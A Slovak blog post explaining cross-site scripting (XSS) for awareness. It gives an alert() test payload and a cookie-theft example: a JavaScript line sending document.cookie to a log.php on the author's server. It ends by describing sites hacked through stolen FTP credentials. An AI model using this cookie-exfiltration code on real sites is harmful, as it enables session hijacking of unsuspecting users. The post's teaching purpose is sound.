Cross Site Scripting (XSS)


Na napísanie tohto článku o XSS (Cross Site Scripting) ma inšpiroval Dragov príspevok o tom ako boli jeho weby hacknuté.

V článku v krátkosti opíšem XSS, čo to je a ako to funguje, uvediem jeden praktický príklad a na záver si povieme čo je zaujímavé na tom ako boli Dragove weby hacknuté.

XSS

XSS je typ útoku, pri ktorom útočník na kompromitovaný web vloží vlastný javascript kód. Tento kód sa dá použiť na rôzne veci, ako napríklad ukradnutie identity… XSS útok je možný hlavne vtedy keď na webe nie sú korektne ošetrené vstupy od užívateľov. Jednoduchý príklad može byť vyhľadávanie, ktoré zobrazí hľadaný reťazec bez jeho ošetrenia (vyfiltrovanie HTML tagov…). Do vyhľadávania potom stačí zadať napríklad <script>alert(‚XSS‘)</script> a ak nám po odoslaní formulára vyskočí javascript okno s textom XSS tak to znamená, že daný web nieje ošetrený proti XSS útokom.

Avšak ošetriť treba niele formuláre, ale všetky užívateľské vstupy. Napríklad parametre v URL, parametre zasielané pomocou HTTP POST, referer… proste všetko čo môže užívateľ zmeniť a náš web to niekde zobrazuje.

Príklad využitia XSS

Dajme tomu, že sme našli web zraniteľný na XSS, máme vlastný web server s PHP a chceme zo zraniteľného webu kradnúť cookies od užívateľov.

Stačí ak sa nám na web podarí vložiť nasledovný kód:


Pričom na http://nas.server.sk/xss/xss.js sa nachádza:

new Image().src="http://nas.server.sk/xss/log.php?c="+encodeURI(document.cookie);

a log.php obsahuje kód pre ukladanie cookies do súboru:


Teraz už len stačí aby stránku kam sme vložili náš kód navštívil nejaký užívateľ a ak má zapnutý javascript tak my sme získali jeho cookies. V cookies môžu byť rôzne informácie, ktoré sa dajú zneužiť rôznymi spôsobmi. Ak to bol napríklad prihlásený užívateľ a my sme ukradli jeho session id tak sa dokážeme na web prihlásiť s jeho identitou bez toho aby sme poznali jeho heslo…

Toto bol len jednoduchý ilustračný (ale reálne odskúšaný ;) príklad zneužitia XSS, pričom možnosti XSS sú omnoho väčšie. Množstvo informácií o užívateľovi, ktoré sa dajú pomocou XSS získať je liminitované len tým aké možnosti nám dáva javascript a tie sú obrovské.

404m.com HACKED

Vráťme sa k Dragovmu príspevku. Na jeho weby bol takisto vložený cudzí kód, ale nie vďaka zranitelnosti webovej aplikácie, ale pravdepodbone vďaka vírusu na Dragovom počítači. Tomu sa podarilo získať FTP prístupy k jeho webom, niekam ich odoslať a jeho weby boli potom napadnuté priamo editovaním PHP súborov!

To je pekný dôkaz toho, že zabezpečenie je len také silné, aká silná je jeho najslabšia časť. Preto pri zabezpečovaní webu treba myslieť na všetko čo by mohlo byť zneužité a ošetriť to.

Záver

V článku som sa snažil byť maximálne stručný a XSS som nechcel veľmi opisovať, keďže toho bolo napísané viac ako dosť. Zámerom článku je upozorniť na XSS ľudí, ktorí o ňom ešte nevedia. Takisto som spomenul len základný XSS útok, avšak rôznych spôsobov útoku je oveľa viac…

p. s. ak ste mali vírus, takisto ako Drago, tak si pre istotu skontrolujte vaše weby :)


Pridaj komentár

Vaša e-mailová adresa nebude zverejnená.